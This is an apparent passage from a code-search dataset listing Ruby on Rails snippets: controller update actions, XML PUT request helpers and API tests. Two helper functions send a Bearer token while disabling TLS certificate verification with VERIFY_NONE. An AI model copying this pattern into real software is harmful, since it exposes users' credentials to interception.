EmployeesRol.find(params[:id])\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @operations_role = OperationsRole.find(params[:id])\n\n respond_to do |format|\n if @operations_role.update_attributes(params[:operations_role])\n flash[:notice] = 'OperationsRole was successfully updated.'\n format.html { redirect_to(@operations_role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operations_role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def set_rol_juece\n @rol_juece = RolJuece.find(params[:id])\n end", "def update\n @role = Role.find_by_name(params[:name])\n \n respond_to do |format|\n @role.authorities = Authority.find_by_name(params[:authority_names])\n format.html { redirect_to(my_gem_role_path(@role.name),\n :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @renewal = Renewal.find(params[:id])\n\n respond_to do |format|\n if @renewal.update_attributes(params[:renewal])\n format.html { redirect_to(@renewal, :notice => 'Renewal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @renewal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_role\n @user = User.find(params[:id])\n @roles = Role.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user }\n end\n end", "def updateSeriesAcl(xml, roles)\n\n doc = Nokogiri::XML(xml)\n newNodeSet = Nokogiri::XML::NodeSet.new(doc)\n\n roles.each do |role|\n newNode = nokogiri_node_creator(doc, \"ace\", \"\")\n newNode << nokogiri_node_creator(doc, \"action\", role[:permission])\n newNode << nokogiri_node_creator(doc, \"allow\", 'true')\n newNode << nokogiri_node_creator(doc, \"role\", role[:user])\n\n # Avoid adding duplicate nodes\n nodeAlreadyExists = false\n doc.xpath(\"//x:ace\", \"x\" => \"http://org.opencastproject.security\").each do |oldNode|\n if sameNodes?(oldNode, newNode)\n nodeAlreadyExists = true\n break\n end\n end\n\n if (!nodeAlreadyExists)\n newNodeSet << newNode\n end\n end\n\n doc.root << newNodeSet\n\n return doc.to_xml\nend", "def update\n @payrole = Payrole.find_by_id(params[:id])\n\n respond_to do |format|\n if @payrole.update_attributes(params[:payrole])\n flash[:notice] = t('payrole.updated')\n format.html { redirect_to user_shift_path(@user, @shift) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @payrole.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @ridol = Ridol.find(params[:id])\n\n respond_to do |format|\n if @ridol.update_attributes(params[:ridol])\n format.html { redirect_to @ridol, :notice => 'Ridol was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ridol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @roll = Roll.find(params[:id])\n\n respond_to do |format|\n if @roll.update_attributes(params[:roll])\n format.html { redirect_to @roll, notice: 'Roll was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roll.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @setor = Setor.find(params[:id])\n\n respond_to do |format|\n if @setor.update_attributes(params[:setor])\n format.html { redirect_to(setors_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @setor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @rollout = args[:rollout] if args.key?(:rollout)\n @rollout_phase_id = args[:rollout_phase_id] if args.key?(:rollout_phase_id)\n end", "def update!(**args)\n @rollout = args[:rollout] if args.key?(:rollout)\n @rollout_phase_id = args[:rollout_phase_id] if args.key?(:rollout_phase_id)\n end", "def update\n respond_to do |format|\n if @rol_juece.update(rol_juece_params)\n format.html { redirect_to @rol_juece, notice: 'Rol juece was successfully updated.' }\n format.json { render :show, status: :ok, location: @rol_juece }\n else\n format.html { render :edit }\n format.json { render json: @rol_juece.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n flash[:notice] = 'Sale was successfully updated.'\n format.html { redirect_to(sales_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rol_params\n params.require(:rol).permit(:name, :description)\n end", "def update\n @role = Role.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to(@role, :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @role = Role.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to(@role, :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @Roc = Roc.find(params[:id])\n\n respond_to do |format|\n if @Roc.update_attributes(params[:Roc])\n flash[:notice] = 'Roc was successfully updated.'\n format.html { redirect_to(@Roc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @Roc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save\n begin\n chef_server_rest.put(\"roles/#{@name}\", self)\n rescue Net::HTTPClientException => e\n raise e unless e.response.code == \"404\"\n\n chef_server_rest.post(\"roles\", self)\n end\n self\n end", "def update\n @sifter = Sifter.find(params[:id])\n\n respond_to do |format|\n if @sifter.update_attributes(params[:sifter])\n flash[:notice] = 'Sifter was successfully updated.'\n format.html { redirect_to(@sifter) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sifter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to client_role_url(@client, @role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def show\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(params[:serie])\n format.html { redirect_to(niveis_ensino_serie_url(@nivel,@serie), :notice => 'Serie atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @novel = Novel.find(params[:id])\n\n respond_to do |format|\n if @novel.update_attributes(params[:novel])\n flash[:notice] = 'Novel was successfully updated.'\n format.html { redirect_to(@novel) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @novel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_rolpersona\n @rolpersona = Rolpersona.find(params[:id])\n end", "def set_asignacion_rol\n @asignacion_rol = AsignacionRol.find(params[:id])\n end", "def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end", "def update\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n if @lyric.update_attributes(params[:lyric])\n format.html { redirect_to(@lyric, :notice => 'Lyric was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lyric.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @razdel1 = Razdel1.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @razdel1.update_attributes(params[:razdel1])\r\n flash[:notice] = 'razdel1 was successfully updated.'\r\n format.html { redirect_to(@razdel1) }\r\n format.xml { head :ok } \r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @razdel1.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n if @lyric.update_attributes(params[:lyric])\n flash[:notice] = 'Lyric was successfully updated.'\n format.html { redirect_to(@lyric) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lyric.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end", "def update\n respond_to do |format|\n if @sys_role.update(sys_role_params)\n format.html { redirect_to @sys_role, notice: 'Sys role was successfully updated.' }\n format.json { render :show, status: :ok, location: @sys_role }\n else\n format.html { render :edit }\n format.json { render json: @sys_role.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def update\n respond_to do |format|\n if @role.update_attributes(role_params)\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to(role_path(@role.slug)) }\n format.xml { head :ok }\n else\n format.html { render \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @role.attributes = params[:role]\n respond_to do |format|\n if @role.save\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to role_url(@role.code) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors.to_xml }\n end\n end\n end", "def update\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n if @lector.update_attributes(params[:lector])\n format.html { redirect_to @lector, notice: 'Las modificaciones al Lector se han guardado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lector.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @lien = Lien.find(params[:id])\n\n respond_to do |format|\n if @lien.update_attributes(params[:lien])\n flash[:notice] = 'Lien was successfully updated.'\n format.html { redirect_to(@lien) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lien.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @salle = Salle.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @salle.update_attributes(params[:salle])\r\n format.html { redirect_to @salle, notice: 'Salle was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @salle.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @solexame.update(solexame_params)\n flash[:notice] = 'Solicitação foi alterada com sucesso.'\n format.html { redirect_to(@solexame) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @solexame.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @office = Office.find(params[:id])\n\n respond_to do |format|\n if @office.update_attributes(params[:office])\n flash[:notice] = 'Office was successfully updated.'\n format.html { redirect_to(@office) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @office.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rolpersona.update(rolpersona_params)\n format.html { redirect_to @rolpersona, notice: 'Rolpersona was successfully updated.' }\n format.json { render :show, status: :ok, location: @rolpersona }\n else\n format.html { render :edit }\n format.json { render json: @rolpersona.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @relatorios = Relatorio.find(params[:id])\n\n respond_to do |format|\n if @relatorios.update_attributes(params[:relatorio])\n flash[:notice] = 'RELATORIO SALVO COM SUCESSO.'\n format.html { redirect_to(@relatorios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @relatorios.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.find(params[:id])\n \n #Sicherstellen, dass Benutzer synchronisiert wird auch wenn nur Objekt-Zuordnungen anders sind!\n @benutzer.updated_at = DateTime.now \n\n if bNode.xpath('objekt_zuordnungs').length > 0\n @benutzer.setze_objekt_zuordnungen(bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i})\n end\n if @benutzer.update(benutzer_params(bNode))\n success(nil)\n else\n error(@benutzer.errors)\n end\n end", "def update\n @lsrs_soildata = LsrsSoil.find(params[:id])\n\n respond_to do |format|\n if @lsrs_soildata.update_attributes(params[:lsrs_soildata])\n flash[:notice] = 'LsrsSoil was successfully updated.'\n format.html { redirect_to(@lsrs_soildata) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lsrs_soildata.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @rol = Rol.new(rol_params)\n\n respond_to do |format|\n if @rol.save\n format.html { redirect_to @rol, notice: 'Rol was successfully created.' }\n format.json { render action: 'show', status: :created, location: @rol }\n else\n format.html { render action: 'new' }\n format.json { render json: @rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @kunstenaarsrol = Role.find_by_name('kunstenaar')\n if @kunstenaarsrol.blank?\n @kunstenaarsrol = Role.create(:name => 'kunstenaar')\n @kunstenaarsrol.permissions.create(:name => 'xpose')\n end\n\n params[:user][:role] = @kunstenaarsrol\n \n if @user.update_attributes(params[:user])\n flash[:notice] = 'Je account is nu omgezet en je kunt nu exposeren.'\n redirect_to :action => 'nieuw'\n else\n render 'omzetten'\n end\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def update\n authorize(current_user)\n role = params[:user][:role_ids]\n roleModel =Role.find( role)\n if @user.setRole roleModel.name\n @user.save\n redirect_to users_path, :notice => \"Rolle geändert\"\n else\n redirect_to users_path, :notice => \"Rolle nicht geändert\"\n end\n end", "def update\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n if @lore.update_attributes(params[:lore])\n format.html { redirect_to(@lore, :notice => 'Lore was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lore.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @wro = Wro.find(params[:id])\n\n respond_to do |format|\n if @wro.update_attributes(params[:wro])\n flash[:notice] = 'Wro was successfully updated.'\n format.html { redirect_to(@wro) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wro.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @rute = Rute.find(params[:id])\n\n respond_to do |format|\n if @rute.update_attributes(params[:rute])\n format.html { redirect_to(@rute, :notice => 'Rute was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rute.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @role.update_attributes(params[:role])\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to(role_path(@role.slug)) }\n format.xml { head :ok }\n else\n format.html { render \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def update\n @rrold = Rrold.find(params[:id])\n\n respond_to do |format|\n if @rrold.update_attributes(params[:rrold])\n format.html { redirect_to @rrold, notice: 'Rrold was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rrold.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @enrolled = Enrolled.find(params[:id])\n \n respond_to do |format|\n if @enrolled.update_attributes(params[:enrolled])\n format.html { redirect_to @enrolled, :notice => t('selecao_admin.flash_messages.successfully_updated.', :model => @enrolled.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @enrolled.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @lek = Lek.find(params[:id])\n\n respond_to do |format|\n if @lek.update_attributes(params[:lek])\n format.html { redirect_to(@lek, :notice => 'Lek was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lek.errors, :status => :unprocessable_entity }\n end\n end\n end", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def update\n @tutor = Tutor.find(params[:id])\n\n respond_to do |format|\n if @tutor.update_attributes(params[:tutor])\n flash[:notice] = 'Tutor was successfully updated.'\n format.html { redirect_to(@tutor) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tutor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @sale = Sale.find(params[:id])\n employment_id = params[:id][:employment_id]\n @sale.employee_id = @sale.employment.employee.id\n \n \n\n respond_to do |format|\n if @sale.update_attributes(params[:sale])\n \n logger.info \"Sale #{@sale.title} updated by #{current_user.email}\"\n \n format.html { redirect_to(sales_path, :notice => 'Sale was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tutorials = Tutorials.find(params[:id])\n\n respond_to do |format|\n if @tutorials.update_attributes(params[:tutorials])\n flash[:notice] = 'Tutorials was successfully updated.'\n format.html { redirect_to(@tutorials) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tutorials.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n \n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to company_role_path(@company, @role), notice: 'El rol fue editado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @role_user = RolesUser.find(params[:id])\n @role_user.role_id = $new_role_id\n respond_to do |format|\n if @role_user.update_attributes(params[:role_user])\n flash[:notice] = 'CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@role_user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def rol_params\n params[:rol]\n end", "def update\n @wrestler = Wrestler.find(params[:id])\n\n respond_to do |format|\n if @wrestler.update_attributes(params[:wrestler])\n format.html { redirect_to(@wrestler, :notice => 'Wrestler was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wrestler.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\tauthorize! :update, AsignacionRol\n @asignacion_rol_viejo = AsignacionRol.find(@asignacion_rol.id)\n @asignacion_rol_viejo.esActual=false\n @asignacion_rol_new = AsignacionRol.new\n @asignacion_rol_new.proyecto = @asignacion_rol_viejo.proyecto\n @asignacion_rol_new.rol_id = params[:asignacion_rol][:rol_id]\n @asignacion_rol_new.esActual=true\n @asignacion_rol_new.usuario=@asignacion_rol.usuario\n if unica(@asignacion_rol_new.usuario_id,@asignacion_rol_new.proyecto_id, @asignacion_rol_new.rol_id) == true\n @asignacion_rol_new.save\n\t respond_to do |format|\n\t if @asignacion_rol_viejo.save\n sesion= Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n Transaccion.create!(\n\t\t descripcion: \"Actualizar asociación rol #{@asignacion_rol.rol.nombre} al usuario #{@asignacion_rol.usuario.nombreUsuario} del proyecto #{@asignacion_rol.proyecto.nombre} : actual = #{ t @asignacion_rol.esActual.to_s}\",\n\t\t sesion_id: sesion.id ,\n\t\t proyecto_id: @asignacion_rol.proyecto.id)\n\t\tformat.html { redirect_to :controller => 'asignacion_roles', :action => 'index', :proyecto_id => @asignacion_rol.proyecto.id \n\t\tflash[:success] = 'Asignacion rol fue actualizado satisfactoriamente.' }\n\t\tformat.json { render :show, status: :ok, location: @asignacion_rol }\n\t else\n\t\tformat.html { render :edit }\n\t\tformat.json { render json: @asignacion_rol.errors, status: :unprocessable_entity }\n\t end\n\t end\n else\n\t respond_to do |format|\n\n\t\t format.html { redirect_to :controller => 'asignacion_roles', :action => 'index', :proyecto_id => @asignacion_rol.proyecto.id\n\t\t flash[:danger] = 'El usuario ya se encuentra asignado' } \n\t end\n end\n end", "def update\n ActiveRecord::Base.transaction do\n @role, hash = fill_role(Role.find(params[:id]), params[:role])\n\n respond_to do |format|\n if @role.update_attributes(hash) && @role.save\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to(@role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\n @user.roles=params[\"user\"][\"roles\"]\n respond_to do |format|\n if @user.update(event_params)\n format.html { redirect_to users_path, notice: 'User roles change successfully' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @roll.update(roll_params)\n format.html { redirect_to sliders_path, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @roll }\n else\n format.html { render :edit }\n format.json { render json: @roll.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @title = \"Update Operations\"\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n flash[:notice] = 'Operation was successfully updated.'\n format.html { redirect_to(@operation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @roaster = Roaster.find(params[:id])\n\n respond_to do |format|\n if @roaster.update_attributes(params[:roaster])\n flash[:notice] = 'Roaster was successfully updated.'\n format.html { redirect_to(@roaster) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @roaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @team_roleset = TeamRoleset.find(params[:id])\n\n respond_to do |format|\n if @team_roleset.update_attributes(params[:team_roleset])\n format.html { redirect_to(@team_roleset, :notice => 'TeamRoleset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team_roleset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(serie_params)\n format.html { redirect_to(@serie, :notice => 'Serie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => 